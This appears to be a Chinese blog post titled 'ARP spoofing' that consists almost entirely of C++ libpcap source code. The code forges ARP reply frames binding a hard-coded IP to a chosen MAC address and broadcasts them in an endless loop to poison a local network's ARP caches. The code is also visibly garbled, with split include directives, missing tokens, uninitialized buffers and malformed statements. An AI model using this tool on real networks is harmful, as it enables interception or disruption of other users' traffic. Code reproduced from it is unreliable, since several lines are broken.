ARP欺骗

 
main.cpp

--------------------------------

#i nclude 
" main.h "

pcap_t 
* driver;
u_char 
* buff ;
void   * thread_send( void   * );
int  main( int  argc,  char   ** argv)
{
pcap_if_t 
*all,*current;

u_char packet[
100];
struct pcap_pkthdr *head;
char *eth_dst = "00-02-3f-03-3f-26";
char *errbuff;
char *data;
char in;
int intin;
int i = 0;
if(pcap_findalldevs(&all,errbuff) == -1)
{
   fprintf(stderr,
"error in open interface the reason is: %s",errbuff);
   exit(
-1);
}

= 1;
for(current = all;current;current = current->next)
{
   fprintf(stdout,
"%d.%s(%s) ",i,current->name,current->description);
   i
++;
}

fprintf(stdout,
"input the number of the interface:");
scanf(
"%c",&in);
intin 
= atoi(&in);
for(current = all,i = 1;current;current = current->next,i++)
{
   
if(i == intin)
   
{
    
break;
   }

}

fprintf(stdout,
"you choice driver is %s(%s)",current->name,current->description);
char buff_t[strlen(current->name)];
strcpy(buff_t,current
->name);
pcap_freealldevs(all);
if((driver = pcap_open_live(buff_t,65535,PCAP_OPENFLAG_PROMISCUOUS,1000,errbuff)) == NULL)
{
   fprintf(stdout,
"open a driver error ,reason:%s",errbuff);
   
return -1;
}

    
    
/* Send down the packet */
    
if (pcap_sendpacket(driver, packet, 100 ) != 0)
    
{
        fprintf(stderr,
" Error sending the packet:  ", pcap_geterr(driver));
        
return 1;
    }

    buff 
= (u_char*)malloc(sizeof(struct ether_header) + sizeof(struct ARP_HEADER));
    
struct ether_header *eh = (struct ether_header*)buff;
    
char tmp[ETHER_ADDR_LEN];
    
//dst-host-eth-addr
    memset(tmp,0,ETHER_ADDR_LEN);
    eth_addr_parse(
"ff-ff-ff-ff-ff-ff",tmp);
    memcpy(
&(eh->ether_dhost),tmp,ETHER_ADDR_LEN);
    
//src-host-eth-addr
    memset(tmp,0,ETHER_ADDR_LEN);
    eth_addr_parse(eth_dst,tmp);
    memcpy(
&(eh->ether_shost),tmp,ETHER_ADDR_LEN);
    eh
->ether_type=htons(0x0806);
    
struct ARP_HEADER *arp;
    arp 
= (struct ARP_HEADER*)(buff + sizeof(struct ether_header));
    arp
->arp_hdr = htons(1);
    arp
->arp_pro = htons(0x0800);
    arp
->arp_hln = 0x0006;
    arp
->arp_pln = 0x0004;
    arp
->arp_opt = htons(0x0002);
    
    memset(tmp,
0,ETHER_ADDR_LEN);
    eth_addr_parse(eth_dst,tmp);
    memcpy(
&(arp->arp_sha),tmp,ETHER_ADDR_LEN);
    
    inet_aton(
"10.100.0.61",(struct in_addr*)&(arp->arp_spa));
    
    memset(tmp,
0,ETHER_ADDR_LEN);
    eth_addr_parse(
"ff-ff-ff-ff-ff-ff",tmp);
    memcpy(
&(arp->arp_tha),tmp,ETHER_ADDR_LEN);
    
    inet_aton(
"0.0.0.0",(struct in_addr*)&(arp->arp_tpa));
    thread_create(thread_send);
    wait_thread();
    
return 0;
}


void   * thread_send( void   * )
{
while(true)
    
{
     
if (pcap_sendpacket(driver, buff, sizeof(struct ether_header) + sizeof(struct ARP_HEADER)) != 0)
     
{
         fprintf(stderr,
" Error sending the packet:  ", pcap_geterr(driver));
         
return NULL;
     }

     sleep(
30);
   }

}



main.h

--------------------------------------------------------------

#i nclude 
" pcap.h "
#i nclude 
< stdlib.h >
#i nclude 
< stdio.h >
#i nclude 
< string .h >
#i nclude 
" util.h "
#i nclude 
< sys / socket.h >
#i nclude 
< netinet / in .h >
#i nclude 
< arpa / inet.h >
#i nclude 
< unistd.h >
#i nclude 
" thread.h "
#define  SIOCGARP 0x00008951
using   namespace  std;
#ifndef ETHER_ADDR_LEN
#define  ETHER_ADDR_LEN 6
#endif



#ifndef PCAP_OPENFLAG_PROMISCUOUS
#define  PCAP_OPENFLAG_PROMISCUOUS 1
#endif


struct  ARP_HEADER    // ARP头部
{
    unsigned 
short arp_hdr;
    unsigned 
short arp_pro;
    unsigned 
char   arp_hln;
    unsigned 
char   arp_pln;
    unsigned 
short arp_opt;
    unsigned 
char   arp_sha[6];
    unsigned 
char   arp_spa[4];
    unsigned 
char   arp_tha[6];
    unsigned 
long   arp_tpa[4];
}
;

struct  ether_header 
{
u_char ether_dhost[ETHER_ADDR_LEN];
u_char ether_shost[ETHER_ADDR_LEN];
u_short ether_type;
}
;

thread.cpp

--------------------------------------------------------------------

#i nclude 
< pthread.h >
#i nclude 
< iostream >
#i nclude 
" thread.h "

pthread_t t;

void  thread_create( void   * ( * methd)( void * ))
{
using namespace std;
if(pthread_create(&t,NULL,methd,NULL))
{
cout 
<< "error create thread" << endl;
exit(
0);
}

}


void  wait_thread()
{
pthread_join(t,NULL); 
}


thread.h

----------------------

void  thread_create( void   * ( * methd)( void * ));
void  wait_thread();


util.cpp

-----------------------------------------------------


#i nclude 
< string >
#i nclude 
< iostream >
#i nclude 
" util.h "
#i nclude 
< math.h >
int  hex_to_int( const   char  , int  );
extern   " C "   void  eth_addr_parse( const   char   * s, char   * d)
{
     
using std::string;
     
string str(s);
     
int index = 0;
     
int beg = 0;
     
int li = 0;
     
while(beg <= str.length() && (index = str.find("-",beg)) != str.npos)
     
{
         
string sub = str.substr(beg,index - beg);
         
int sum = 0;
         
int i = 1;
         
for(int j = sub.length(); j > 0;j--)
         
{
           sum 
+= hex_to_int(sub[j - 1],i++);
         }

         d[li
++= sum;
         beg 
= index + 1;
     }

     
if(beg < str.length())
     
{
        
string sub = str.substr(beg,str.length() - beg);
        
int sum = 0;
        
int i = 1;
        
for(int j = sub.length(); j > 0;j--)
       
{
         sum 
+= hex_to_int(sub[j - 1],i++);
       }

       d[li
++= sum;
     }

}


int  hex_to_int( const   char  c, int  i)
{
  
for(int j = 0; j < 6; j++)
{
  
   
if(c == (char)(97+j))
   
{
    
return (10 + c - 97)*(int)pow(16,i-1);
   }

}

char buf[1] ;
buf[
0= c;
return atoi(buf)*(int)pow(16,i-1);
}




util.h

extern   " C "   void  eth_addr_parse( const   char   * , char   * );

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值